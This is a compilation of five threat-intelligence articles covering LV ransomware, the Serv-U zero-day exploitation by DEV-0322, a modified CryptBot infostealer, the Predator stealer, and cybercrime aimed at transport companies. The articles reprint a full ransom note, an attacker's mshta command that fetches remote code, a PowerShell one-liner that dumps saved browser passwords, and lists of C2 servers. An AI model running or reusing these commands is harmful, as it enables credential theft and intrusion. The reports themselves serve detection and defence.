# LV Ransomware Этот крипто-вымогатель шифрует данные пользователей с помощью AES+RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: LV. На файле написано: нет данных. ## Обнаружения: - DrWeb -> Trojan.Encoder.28004 - BitDefender -> Trojan.CryptRedol.Gen.3 - ALYac -> Trojan.Ransom.Sodinokibi - Avira (no cloud) -> TR/Dropper.Gen - ESET-NOD32 -> A Variant Of Win32/Filecoder.Sodinokibi.B - Kaspersky -> Trojan-Ransom.Win32.Gen.ybg - Malwarebytes -> Ransom.Sodinokibi - Microsoft -> Ransom:Win32/Revil.SI!MTB - Rising -> [email protected] (RDMK:kLE* - Symantec -> ML.Attribute.HighConfidence - Tencent -> Win32.Trojan.Filecoder.Efan - TrendMicro -> TrojanSpy.Win32.TRICKBOT.SMC © Генеалогия: Sodinokibi (REvil) >> LV. Фактически использует код Sodinokibi (REvil) Ransomware. Группировка GOLD NORTHFIELD заменила конфигурацию бета-версии REvil v2.03, чтобы перепрофилировать двоичный файл REvil для LV Ransomware. К зашифрованным файлам добавляется расширение: .<random> Примеры таких расширений: .q967a706o .0nzo8yk Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Дата создания файла: 24.07.2020. Активность этого крипто-вымогателя была замечена только в октябре-ноябре 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Записка с требованием выкупа называется: <COMPANY_NAME>-README.txt Пример такого названия: EDGEWATER-README.txt ## Содержание записки о выкупе: ---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have 0nzo8yk extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: *** !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !! ## Перевод записки на русский язык: ---=== Добро пожаловать. Снова. ===--- [+] Что случилось? [+] Ваши файлы зашифрованы и теперь недоступны. Вы можете это проверить. Все файлы в вашей системе имеют расширение 0nzo8yk. Кстати, все можно вернуть (восстановить), но вы должны следовать нашим инструкциям. Иначе вы НИКОГДА не сможете вернуть свои данные. [+] Какие у нас гарантии? [+] Это просто бизнес и мы заботимся только о получении выгоды. Если мы не выполним свои обязательства, с нами никто не будет иметь дело. Это нас не интересует. Так вы можете проверить возможность восстановления ваших файлов. Для этого вам надо посетить наш сайт, где вы можете бесплатно расшифровать один файл. Это наша гарантия. Для нас не важно, сотрудничаете вы с нами или нет. Но если вы этого не сделаете, вы потеряете свое время и данные, потому что только у нас есть закрытый ключ для расшифровки ваших файлов. На практике время гораздо дороже денег. [+] Как получить доступ к нашему сайту? [+] Используйте браузер TOR: 1. Загрузите и установите браузер TOR с этого сайта: https://torproject.org/ 2. Посетите наш веб-сайт: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion Когда вы посещаете наш сайт, введите в форму ввода следующие данные: Ключ: *** !!! ОПАСНОСТЬ !!! НЕ ПЫТАЙТЕСЬ изменять файлы самостоятельно, НЕ используйте сторонние программы или антивирусные решения для восстановления ваших данных - это может повлечь за собой повреждение закрытого ключа и, как следствие, потерю всех ваших данных! !!! !!! !!! ЕЩЕ РАЗ: в ваших интересах вернуть свои файлы. Со своей стороны мы (лучшие специалисты в этой области) готовы сделать все для восстановления, но не навредите. !!! !!! !! Изображение Рабочего стола заменяется на темный фон, аналогичный тому, что ранее использовался в Sodinokibi Ransomware. Другим информатором жертвы выступает сайт вымогателей, на котором в заголовке используется характерная фраза YOUR SYSTEM HAS BEEN PENETRATED by LV. Вероятно, это по замыслу вымогателей должно показать и доказать, что это новые вымогатели, а не те, что ранее использовали Sodinokibi (REvil) для вымогательства денег у пострадавших. ## Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога. Нужно всегда использовать актуальную антивирусную защиту!!! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. ## Список файловых расширений, подвергающихся шифрованию: Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. ## Файлы, связанные с этим Ransomware: - <ransom_note>.txt - название файла с требованием выкупа - Revil.pe.exe, Revil.pe - название вредоносного файла ### Расположения: - \Desktop\ -> - \User_folders\ -> - \%TEMP%\ -> ### Записи реестра, связанные с этим Ransomware: См. ниже результаты анализов. ### Мьютексы: Global\530D4C9F-32A8-6FCB-DFF6-A5DE7490E287 ### Сетевые подключения и связи: Email: BTC: См. ниже в обновлениях другие адреса и контакты. См. ниже результаты анализов. ### Результаты анализов: 🔻 Triage analysis >> Ⓗ Hybrid analysis >> 𝚺 VirusTotal analysis >> ᕒ ANY.RUN analysis >> ⴵ VMRay analysis >> Ⓥ VirusBay samples >> 👽 AlienVault analysis >> 🔃 CAPE Sandbox analysis >> ⟲ JOE Sandbox analysis >> Степень распространённости: низкая. Подробные сведения собираются регулярно. Присылайте образцы. ### ИСТОРИЯ СЕМЕЙСТВА ### БЛОК ОБНОВЛЕНИЙ Обновление от 13 ноября 2020: Пост в Твиттере >> Записка: 1zoo2msob-README.txt Tor-URL: xxxx://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion ### БЛОК ССЫЛОК и СПАСИБОК Read to links: + Tweet ID Ransomware (ID as REvil / Sodinokibi) Write-up, Topic of Support Added later: Research by Secureworks (on 22 June, 2021) Thanks: Kangxiaopao, Michael Gillespie Andrew Ivanov (author) Secureworks to the victims who sent the samples © Amigo-A (Andrew Ivanov): All blog articles. Contact.
# Microsoft Discovers Threat Actor Targeting SolarWinds Serv-U Software with 0-Day Exploit **July 13, 2021** Microsoft has detected a 0-day remote code execution exploit being used to attack SolarWinds Serv-U FTP software in limited and targeted attacks. The Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to DEV-0322, a group operating out of China, based on observed victimology, tactics, and procedures. The vulnerability being exploited is CVE-2021-35211, which was recently patched by SolarWinds. The vulnerability exists in Serv-U’s implementation of the Secure Shell (SSH) protocol. If Serv-U’s SSH is exposed to the internet, successful exploitation would give attackers the ability to remotely run arbitrary code with privileges, allowing them to perform actions like install and run malicious payloads, or view and change data. We strongly urge all customers to update their instances of Serv-U to the latest available version. Microsoft 365 Defender has been protecting customers against malicious activity resulting from successful exploitation, even before the security patch was available. Microsoft Defender Antivirus blocks malicious files, behavior, and payloads. Our endpoint protection solution detects and raises alerts for the attacker’s follow-on malicious actions. Microsoft Threat Experts customers who were affected were notified of attacker activity and were aided in responding to the attack. ## Who is DEV-0322? MSTIC tracks and investigates a range of malicious cyber activities and operations. During the tracking and investigation phases prior to when MSTIC reaches high confidence about the origin or identity of the actor behind an operation, we refer to the unidentified threat actor as a “development group” or “DEV group” and assign each DEV group a unique number (DEV-####) for tracking purposes. MSTIC has observed DEV-0322 targeting entities in the U.S. Defense Industrial Base Sector and software companies. This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure. ## Attack Details MSTIC discovered the 0-day attack behavior in Microsoft 365 Defender telemetry during a routine investigation. An anomalous malicious process was found to be spawning from the Serv-U process, suggesting that it had been compromised. Some examples of the malicious processes spawned from Serv-U.exe include: - `C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a (defanged)` - `cmd.exe /c whoami > “./Client/Common/redacted.txt”` - `cmd.exe /c dir > “.\Client\Common\redacted.txt”` - `cmd.exe /c “C:\Windows\Temp\Serv-U.bat”` - `powershell.exe C:\Windows\Temp\Serv-U.bat` - `cmd.exe /c type \\redacted\redacted.Archive > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\redacted.Archive”` We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U\Client\Common\ folder, which is accessible from the internet by default, so that the attackers could retrieve the results of the commands. The actor was also found adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted .Archive file in the Global Users directory. Serv-U user information is stored in these .Archive files. Due to the way DEV-0322 had written their code, when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run. By reviewing telemetry, we identified features of the exploit, but not a root-cause vulnerability. MSTIC worked with the Microsoft Offensive Security Research team, who performed vulnerability research on the Serv-U binary and identified the vulnerability through black box analysis. Once a root cause was found, we reported the vulnerability to SolarWinds, who responded quickly to understand the issue and build a patch. To protect customers before a patch was available, the Microsoft 365 Defender team quickly released detections that catch known malicious behaviors, ensuring customers are protected from and alerted to malicious activity related to the 0-day. Affected customers enrolled in Microsoft Threat Experts, our managed threat hunting service, received a targeted attack notification, which contained details of the compromise. The Microsoft Threat Experts and MSTIC teams worked closely with these customers to respond to the attack and ensure their environments were secure. ## Detection Guidance Customers should review the Serv-U DebugSocketLog.txt log file for exception messages like the line below. A `C0000005; CSUSSHSocket::ProcessReceive` exception can indicate that an exploit was attempted, but it can also appear for unrelated reasons. Either way, if the exception is found, customers should carefully review their logs for behaviors and indicators of compromise discussed here. ``` EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive(); Type: 30; puchPayLoad = 0x03e909f6; nPacketLength = 76; nBytesReceived = 80; nBytesUncompressed = 156; uchPaddingLength = 5 ``` Additional signs of potential compromise include: - Recent creation of .txt files in the Client\Common\ directory for the Serv-U installation. These files may contain output from Windows commands like whoami and dir. - Serv-U.exe spawning child processes that are not part of normal operations. These could change depending on the customer environment, but we suggest searching for: - `mshta.exe` - `powershell.exe` - `cmd.exe` (or conhost.exe then spawning cmd.exe) with any of the following in the command line: - `whoami` - `dir` - `./Client/Common` - `.\Client\Common` - `type [a file path] > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\[file name].Archive”` - Any process with any of the following in the command line: - `C:\Windows\Temp\` - The addition of any unrecognized global users to Serv-U. This can be checked in the Users tab of the Serv-U Management Console. It can also be checked by looking for recently created files in `C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users`, which appears to store the Global users information. ## Detection Details ### Antivirus Detections Microsoft Defender Antivirus detects threat components as the following malware: - Behavior:Win32/ServuSpawnSuspProcess.A - Behavior:Win32/ServuSpawnCmdClientCommon.A ### Endpoint Detection and Response (EDR) Alerts Alerts with the following titles in Microsoft Defender for Endpoint can indicate threat activity on your network: - Suspicious behavior by Serv-U.exe ### Indicators of Compromise (IOCs) - `98[.]176[.]196[.]89` - `68[.]235[.]178[.]32` - `208[.]113[.]35[.]58` - `144[.]34[.]179[.]162` - `97[.]77[.]97[.]58` - `hxxp://144[.]34[.]179[.]162/a` - `C:\Windows\Temp\Serv-U.bat` - `C:\Windows\Temp\test\current.dmp`
# Modified CryptBot Infostealer Being Distributed By jcleebobgatenet February 21, 2022 CryptBot is an infostealer that is usually distributed under the disguise of web pages that share cracks and tools. The distribution pages are exposed at the top of the search result page of search engines such as Google, so the risk of infection is high, and the number of relevant detection cases is also relatively high. The ASEC analysis team had thus advised users on these relevant threats in previous blog posts. CryptBot is one of the most actively changing malware, with its distribution pages constantly being newly created. This blog will explain the details of the recently modified version of the CryptBot that is currently being distributed. When the user clicks the download button in a post disguised as a cracks and tools sharing website created by the attacker, the user is redirected multiple times, ultimately redirected to the distribution page, and new types of such redirections are constantly being created. Not only are the distribution pages changing, but the CryptBot itself is also actively changing, and a new version with a large-scale modification is recently being distributed. Compared to the previous version, a few of the additional features were deleted for simplification, and the infostealing code was modified to adapt to the new browser environment. First, a few of the distinctive features of the CryptBot were deleted. The anti-sandbox routine, which terminates without malicious behavior in the case of ‘Xeon’ environment after checking the CPU name set as the infection target, was removed. The anti-VM routine that checks the number of CPU cores and memory remains the same. The behavior that saves the stolen information to two different folders and sends each folder to different C2 was also deleted. This means that in the previous version, there were two infostealing C2s and one C2 for downloading additional malware, but in the currently distributed version, there is only one infostealing C2. The code shows that when sending files, the method of manually adding the sent file data to the header was changed to the method that uses a simple API. The user-agent value when sending was also modified. The previous version calls the function twice to send each to a different C2, but in the changed version, one C2 URL is hard-coded in the function. The infostealing features of collecting TXT files on the desktop and screenshots of the screen were also deleted. The behavior of self-deletion that was performed when it was detected by an anti-VM routine or when it completed all malicious behavior and was terminated was also deleted. Not only were the features deleted, but there were also feature improvement patches. The previous version of CryptBot used the pathname of the old version of Chrome when stealing Chrome browser information, so it could not steal information from Chrome v96 released in November 2021 and its later versions. The recently modified sample includes all the newest Chrome path names. The previous version of CryptBot code was structured in a way that if at least one piece of data did not exist out of the list of target data for stealing, the infostealing behavior would fail. So, infostealing was successful only when the infected system used Chrome browser v81 – v95. The recently improved code can steal if the target data exists regardless of the version. The creator had thus applied a feature improvement patch for the malicious behavior and also removed many unnecessary features. As CryptBot’s packing method, internal codes, C2, etc. actively change, and as its distribution pages are easily exposed, user caution is advised. The following is the IOC information of CryptBot that has been distributed over the past week. ## IOC Info **MD5** 28e1397f9233badf815e22ef2e13634f 33e6e82f629715ce89424c41a847e889 0ceba86a7ab680d71f3dc99bbbec3368 74829260d3acddf20a4cc250e24e4d5e d02b62d008db43c824966101345d65a4 ffe738f3cd8b8dc7e698fb3ded271d98 8f3c845153fe6e83d47b747881588c72 0169a24e049b4a8737256f06a7b666d2 98a86c1d2ffd2ebf30e0cc36efa8aef9 c2c2ced2d3319f3e89e546c7e96da4f9 599d2007777226487a4eb01cef954f99 f3ab03c11b45d48d8efd4206b1d17ccd 7c942ca86fa10d68691df2c13f8b2467 3d83e57852c8e379345a8c34ad2a14c9 2a05717d483b3a8829a50cd977967040 31a6aeffae90556406e82c18abaddd65 cb0eef45148b712e666df23d0015aa82 d6227c96b116293d2d08f50e8f717357 1db0cc5e74198d5c09237795279efb28 d0396014bd3219537b179e2133d7dd18 86d1ed1246c35d69ec580ff2ce8b189f 352f837f51b792c978c27cdac4be2453 f404488eb9ace976f872e5a953c3329c 66b944035e6369c84cbb2c8c4139e556 75330228fce69f2537afb5846c69a7ca 46142e232243bd7d6cbfe8dc8d576316 70e9dfc595511ad71d543860433b02f5 9bcacf1770295c8b2ccebfe8e843ccec ccbad7304639bd0b93baad2a877923fd eb7e00aa720c6145aa13608a4623f40b 26f659c0b4125fcaec364fdcbdece018 fe327314eb2f29690ae99baadb888651 c9a0476bb60feb1d02fba5b22f094db6 b4a37286503fe571115a590349fc2dee 41d859a85dc5d2b405fc702f9df95265 2f9e56c5eea5f4b7b880b0d26d140b63 710f4efa4dc52b36901266fc0c09d810 f2f6b2d9575d556855f12f6d244c5e9b **Sending C2** rygqwf41[.]top/index.php rygedj410[.]top/index.php rygzil43[.]top/index.php rygiow53[.]top/index.php rygofx510[.]top/index.php rygsay57[.]top/index.php ryghim51[.]top/index.php rygcwa58[.]top/index.php rygvpi61[.]top/index.php rygykd610[.]top/index.php rygkhf63[.]top/index.php rygckz67[.]top/index.php rygnih710[.]top/index.php rygcgf73[.]top/index.php rygsvk77[.]top/index.php rygcup71[.]top/index.php jugpry110[.]top/index.php juglqr13[.]top/index.php jugqay17[.]top/index.php jugkeo11[.]top/index.php jugrjb23[.]top/index.php jugxmo21[.]top/index.php jugfwr33[.]top/index.php jugndj31[.]top/index.php **Downloading C2** gewfih05[.]top/download.php?file=fusate.exe gewfec07[.]top/download.php?file=insane.exe gewuib08[.]top/download.php?file=scrods.exe gewtuq10[.]top/download.php?file=swaths.exe kanimx01[.]top/download.php?file=zoster.exe kanlsu03[.]top/download.php?file=avulse.exe kanefo04[.]top/download.php?file=diazin.exe Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories:** Malware Information
# A Predatory Tale: Who’s Afraid of the Thief? **Authors: GReAT** In mid-February, Kaspersky Lab received a request for incident response from one of its clients. The individual who initially reported the issue to our client refused to disclose the origin of the indicator that they shared. What we do know is that it was a screenshot from one of the client’s internal computers taken on February 11 while an employee was apparently browsing through his emails. In addition, the anonymous source added that the screenshot was transferred to a C2 using a stealer dubbed ‘Predator’. As soon as the client contacted us, we started conducting a full investigation into the infected machine, including memory dumps, event logs, environment indicators from the network, and so on. Finding very little information about this tool, we decided that since we’d already dived into the stealer, we might as well share some of our main findings in case other incidents occur in the future. The purpose of this blog post is to enumerate the Predator stealer’s versions, technical features, indicators, and Yara rule signatures, to help monitor and detect new samples, and to provide general information about its owners’ activities. As well as all the information we collected from the client, we went the extra mile and contacted a source who had previously analyzed Predator. This source was @Fumik0_, a French malware researcher who analyzed versions 2.3.5 and 2.3.7 in his blog just a few months ago (October 2018). He joined Ido Naor, a principal security researcher at Kaspersky Lab, and together they compiled a full analysis of the new versions of ‘Predator the thief’. The blog was apparently so influential that the owners of the stealer decided to contact Fumik0 via Twitter. An account named Alexuiop1337 claiming to be the owner of Predator is also active and has been responding to Fumik0’s discoveries until fairly recently. ## Predator the Thief Predator is a data stealer developed by Russian-speaking individuals. It’s being sold cheaply on Russian forums and has been detected many times in the wild. Although detection is successful with previous versions, its owners are rapidly adapting by generating FUD (Fully UnDetectable) samples every few days. The owners are not responsible for the victim attack vector and are only selling the builder. For a small additional payment, they can also generate an administration panel for customers. The newest samples were exposed on their Telegram group; however, the links only redirect to a little-known AV aggregator which we don’t have access to. We’re currently tracking the samples’ hashes and waiting for triggers to show up. **Latest version:** v3.0.7 **Sample MD5:** bf4cd781920f2bbe57e7e74a775b8e94 **Code Language:** C++ **File Types:** PE **Supported Arch.:** x86 and x64 **Unpacked Size:** <500Kb **Admin Panel Software:** PHP, Apache, Ubuntu ### From v2 to v3 Predator, as a stealer, is considered simple and cheap. It’s good for attacking individuals and small businesses, but as far as large companies go, protection solutions and response teams can detect and remove its activity in a relatively short amount of time. That said, the owners of Predator are very business-oriented. They’re constantly updating their software, attempting to extend features and adjusting to client requirements and are generally not that aggressive when it comes to disclosure/analysis of their tool. ### Obfuscation Predator’s owners decided to obfuscate most of its code with a number of simple techniques. XOR, Base64, substitutions, stack strings, and more are being used to hide API methods, folder paths, register keys, the C2 server/admin panel, and so on. We sketched a flow chart for one of the obfuscation techniques. A large chunk of code boiled down to one Windows API call, which we see as a bit like overkill considering the fact that other techniques can be applied to strip the obfuscation. **Step-by-step guide:** 1. Saving arguments somewhere 2. Get the function name 3. Get the library name 4. Recreating GetProcAddress 5. Calling function by a simple register call ### Export Table It was also found that the export table trick for getting the API function is far more complex than the one introduced in v2. ### Anti-debugging/Sandbox Checks Predator retains its old techniques for sandbox evasion but keeps adding more and more features. One of them, for example, is a hardcoded list of DLLs that are checked if loaded into memory: `sbiedll`, `dbghelp`, `api_log`, `pstorec`, `dir_watch`, `vmcheck`, `wpespy`, `SxIn`, `Sf2`. One old trick, for example, that survived the version update is the check of the graphic card name introduced in v2.x.x. ### Classy but Mandatory – Browser Stealer Support Edge and Internet Explorer support was recently added to the list of browsers. The actions taken, however, are different from the malware decision-making with the Gecko and Chromium browsers. In previous versions, Predator usually uses a temporary file (*.col format file) to store browser content (in an SQLite3 database), but for Edge and IE, it was replaced with a hardcoded PowerShell command that will directly put the content of the file into a dedicated repository. ```powershell powershell.exe -Command "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault; $b = 'Browser: Internet Explorer | Edge'; $a = ($vault.RetrieveAll() | % { $_.RetrievePassword(); $_ } | SELECT UserName, Password, Resource | Format-List Resource, UserName, Password) | Out-String; $c = $b + $a; $c = $c.Replace('Resource :', 'Url:').Replace('UserName :', 'Login:').Replace('Password :', 'Password:'); $c > "%PREDATOR_PATH%\General\IeEdgePasswords.txt" ``` As a reminder, Predator currently supports the following list of browser data theft, according to the info on the ‘official’ sales page: ### The False Keylogger Feature The owners of Predator list keylogger capabilities among its features, though a closer inspection of the code reveals that no keylogging is carried out. The behavior we captured is clearly that of a clipboard stealer. The functionality includes a crawler that checks if the clipboard contains data, grabs it, and places it in a dedicated file the stealer owners have named ‘information.log’. ### Thief Logs Diving into the file discussed in the clipboard stealer section above, we saw drastic changes from previous versions. The information logger is perhaps the most important collector of Predator. It stores all the tasks performed by the stealer on the victim machine. We noticed that in previous minor versions, logs started collecting data that might be of interest to potential customers, such as: - HWID - System Language - Keyboard Layout At the end of the report, the owners added a customer/payload ID – probably to improve support. ### Updates Predator is continually integrating new software into the stealing list and fixing bugs to maintain its stability and popularity. Here’s a summary of the new features in v3: **Location:** Data stolen - **Games:** Osu, Battle.net - **FTP:** WinSCP - **VPN:** NordVPN - **2FA:** Authy - **Messengers:** Pidgin, Skype - **Operating System:** Webcam, HWID, Clipboard, Specific document files (Grabber), Project filenames* - **Browsers:** IE/Edge *We noticed that the newest version of Predator has started collecting a list of .sln file names. These are project files usually generated by Visual Studio. We still have no idea if this is related to client demand for a future feature. ### Sale Point (Russian Forums) We found a very active seller of Predator on a forum called VLMI. It appears the main language on VLMI is Russian and the content mainly revolves around cyberattacks. In addition, the forum has a very strict set of rules that might get you banned if broken. The two sections (translated using Google) in the image below are examples of forbidden behavior. It also appears that each offer on the forum must go through a reviewer who decides if the piece of software or service is of financial benefit to the forum administrators, but at the same time fair towards other members. For 8,000 rubles (~$120) worth of software, the forum will charge a 20% fee; if the value goes above 100,000 rubles (~$1,500), the commission decreases to 10%. Predator costs 2,000 rubles (~$30) for the stealer and admin panel. There is also an optional service to help the customer install the C&C. This is not as expensive as other stealers on the market, such as Vidar and HawkEye, but its developers are proactive in delivering updates and ensuring a fast and effective support service. ### Telegram as a Service Predator’s main channel for updating their customers is Telegram. At the time of writing, the administrators were hosting over 370 members in this group. Another update channel is the seller @sett9. It appears the Predator administrators are demonstrating FUD capabilities by running a sample generated by the builder of their stealer. However, some samples from their latest update (v3.0.7) have already been detected by Kaspersky products as: Trojan-PSW.Win32.Predator.qy (25F9EC882EAC441D4852F92E0EAB8595), while others are detected by heuristics. ### IOCs **IP/Domains:** - **v3.0.3:** 15charliescene15[.]myjino[.]ru - **v3.0.4:** axixaxaxu1337[.]us - **v3.0.5:** madoko[.]jhfree[.]net - **v3.0.6:** kristihack46[.]myjino[.]ru - **v3.0.7:** j946104[.]myjino[.]ru **Hashes:** - **v3.0.3:** c44920c419a21e07d753ed607fb6d7ca - **v3.0.4:** cf2273b943edd0752a09e90f45958c85 - **v3.0.5:** b2cbb3d80c8d830a3b3c2bd568ba1826 - **v3.0.6:** dff67a78bb4866f9da5a0c1781ed5348 - **v3.0.7:** 25F9EC882EAC441D4852F92E0EAB8595 **Yara:** ```yara rule Predator_The_Thief : Predator_The_Thief { meta: description = "Yara rule for Predator The Thief 3.0.0+" author = "Fumik0_" date = "2018/10/12" update = "2019/02/26" strings: $mz = { 4D 5A } $x1 = { C6 84 24 ?? ?? 00 00 8C } $x2 = { C6 84 24 ?? ?? 00 00 1A } $x3 = { C6 84 24 ?? ?? 00 00 D4 } $x4 = { C6 84 24 ?? ?? 00 00 03 } $x5 = { C6 84 24 ?? ?? 00 00 B4 } $x6 = { C6 84 24 ?? ?? 00 00 80 } $y1 = { B8 00 E1 F5 05 } $y2 = { 89 5C 24 0C } $y3 = { FF 44 24 ?? } $y4 = { 39 44 24 0C } $y5 = { BF 00 00 A0 00 } condition: $mz at 0 and ( ( all of ($x*)) or (all of ($y*)) ) } ``` ### Data Theft - Keyloggers - Malware Descriptions - Obfuscation - Russian-speaking cybercrime - Targeted attacks **Authors: GReAT**
# How Cybercriminals Create Turbulence for the Transportation Industry Transportation companies are so reliant on the internet, they present a juicy target for the cybercrime underground. When you break down how transportation companies actually work, you can find yourself looking at nothing but supply chains. From moving people or goods from one place to another, keeping track of the vehicles that are transporting those people or goods, the third parties that are responsible for the maintenance and operations of those vehicles, along with a list of other business-critical functions, it’s easy to see how these companies would need to lean heavily on internet-connected technology in order to be successful. However, since these companies are so reliant on the internet, they present a juicy target for the cybercrime underground. Transportation companies are constantly in discussions on criminal forums, with nefarious actors attempting (and some succeeding) to attack companies’ infrastructure along their supply chains for their own illegal gains. Below are just some of the examples Intel 471 has observed when it comes to criminals going after transportation companies. ## Access to Networks Intel 471 has long tracked criminals who specialize in selling access to compromised systems or stolen information. Some of those we have tracked have used their ability to target transportation companies as a way to stand out in the cybercrime underground. Here are some of the instances we have observed: - In November 2020, an Iranian-based actor advertised unauthorized access to a system belonging to an Iranian-based airline. The actor shared a demonstration video which looked to be from an internal employee portal, which allowed people to access employee account numbers, national codes, passwords, payments, phone numbers, usernames, and more. The advertisement was shared on a popular Telegram channel dedicated to cybercrime, with over 19,000 members. - In January 2021, Intel 471 observed a well-known cybercriminal selling network access to a number of companies they allegedly pulled from malware logs. Among the advertised access was a Citrix Gateway believed to be associated with a large, multinational aviation company. The platform detailed access to another aviation company based in Scandinavia, mainly showcasing programs designed for training. The actor is well-known for selling access to Citrix Gateways on various cybercriminal forums. - Also in January 2021, an actor offered to sell information on a remote code execution (RCE) vulnerability allegedly impacting a European-based cargo airline. The actor sought US $150 for the information about the vulnerability that allegedly could be exploited to exfiltrate several internal documents and access login credentials. The actor further claimed they also uploaded a web shell to the impacted server. ## Gift Cards Gift cards have long been a staple of the cybercrime underground, utilized by criminals as a way to move money. Whether it be physical cards or solely online credits, numerous transportation companies use gift cards as a way for customers to buy flights. There are actors that have leveraged that ability for their own crimes. - One actor Intel 471 has tracked has been in the gift card fraud business since at least 2017. The actor, who was previously engaged in selling compromised remote desktop protocol (RDP) credentials, bought ready-to-use gift cards from other actors, derived them from compromised accounts, and sourced access from malware logs. The companies the actor expressed interest in included three well-known airlines based in the United States, along with one multinational hotel chain. The actor bought gift cards for half or a quarter of their value. - Another actor Intel 471 has tracked allegedly claimed to have a large number of digital gift cards issued by three well-known airlines based in the United States for sale each day. The gift cards were not carded using compromised payment cards, but purchased with points from compromised accounts with rewards programs or cash-back services. The actor primarily obtained credentials for such accounts from malware logs purchased on forums. ## Ransomware Ransomware is a top threat for all internet-connected businesses. The transportation sector is no different. Intel 471 has observed numerous attacks on transportation-based organizations, including entities in both the public and private sector. These incidents have all the hallmarks of a ransomware-as-a-service attack, with crews “renting” software to launch the attack, hundreds of gigabytes in data stolen, and calls for million-dollar ransom payments. - In March 2021, the operator or operators behind the NEFILIM ransomware-as-a-service affiliate program claimed the compromise of U.S.-based commercial airline Spirit Airlines, leaking 40GB of data with over 33,000 files. According to open source reporting, financial data and other personal information of customers who purchased tickets to fly with the airline between 2006 and 2021 were posted on a name-and-shame blog. - In April 2021, a group using the Mount Locker ransomware attacked the Santa Clara Valley Transportation Authority, stealing about 130 GB of corporate data. The responsible parties are likely an offshoot of those who developed the ransomware, as the organization’s data was posted on a name-and-shame blog operated by a different criminal group. Intel 471 also observed that the criminal crew applied a “double extortion” tactic by calling and threatening the victim’s employees. ## Conclusion Transportation companies are as dependent on technology as any other company. With that trend likely to keep growing, it is imperative that these companies understand where their weak spots are when it comes to cybersecurity and how the cybercrime underground will exploit them if those weaknesses are left unchecked. Keys to a successful business often rely on the internet, just as cybercriminals rely on it to carry out their crimes. By being proactive in assessing risk and closing vulnerabilities, transportation companies will prevent their technology stacks from being a target for the cybercrime underground.
